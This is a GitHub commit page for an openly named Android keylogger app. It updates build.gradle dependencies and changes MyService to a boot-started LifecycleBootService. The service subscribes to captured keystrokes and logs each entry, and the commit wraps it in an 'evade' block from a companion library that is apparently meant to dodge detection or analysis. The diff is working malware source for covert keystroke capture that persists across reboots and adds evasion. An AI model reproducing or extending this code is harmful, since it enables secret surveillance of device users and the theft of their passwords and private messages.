Skip to content

Commit

Permalink
update BootLaces to 2.1 in build.gradle (#19)
Browse files Browse the repository at this point in the history
  • Loading branch information
evilthreads669966 committed Oct 6, 2020
1 parent 2e8965e commit ce9b3db
Show file tree
Hide file tree
Showing 2 changed files with 11 additions and 8 deletions.
6 changes: 3 additions & 3 deletions app/build.gradle
Original file line number Diff line number Diff line change
Expand Up @@ -4,7 +4,7 @@ apply plugin: 'kotlin-android-extensions'

android {
compileSdkVersion 30
buildToolsVersion "30.0.1"
buildToolsVersion "30.0.2"

defaultConfig {
applicationId "com.evilthreads.androidkeylogger"
Expand All @@ -27,12 +27,12 @@ android {
dependencies {
implementation fileTree(dir: "libs", include: ["*.jar"])
implementation "org.jetbrains.kotlin:kotlin-stdlib:$kotlin_version"
implementation 'androidx.core:core-ktx:1.3.1'
implementation 'androidx.core:core-ktx:1.3.2'
implementation 'androidx.appcompat:appcompat:1.2.0'
implementation 'androidx.constraintlayout:constraintlayout:2.0.1'
implementation "androidx.lifecycle:lifecycle-service:2.2.0"
implementation 'com.github.evilthreads669966:evademe:1.0'
implementation 'com.github.evilthreads669966:bootlaces:1.0'
implementation 'com.github.evilthreads669966:bootlaces:2.1'
implementation "androidx.lifecycle:lifecycle-runtime-ktx:2.2.0"
implementation project(path: ':Keylogger')
testImplementation 'junit:junit:4.12'
Expand Down
13 changes: 8 additions & 5 deletions app/src/main/java/com/evilthreads/androidkeylogger/MyService.kt
Original file line number Diff line number Diff line change
Expand Up @@ -2,7 +2,8 @@ package com.evilthreads.androidkeylogger

import android.util.Log
import androidx.lifecycle.lifecycleScope
import com.candroid.bootlaces.BootService
import com.candroid.bootlaces.LifecycleBootService
import com.evilthreads.evade.evade
import com.evilthreads.keylogger.Keylogger

/*
Expand All @@ -25,11 +26,13 @@ import com.evilthreads.keylogger.Keylogger
............\..............(
..............\.............\...
*/
class MyService: BootService() {
class MyService: LifecycleBootService() {
init {
lifecycleScope.launchWhenCreated {
Keylogger.subscribe { entry ->
Log.d("KEYLOGGER", entry.toString())
evade {
lifecycleScope.launchWhenCreated {
Keylogger.subscribe { entry ->
Log.d("KEYLOGGER", entry.toString())
}
}
}
}
Expand Down

0 comments on commit ce9b3db

Please sign in to comment.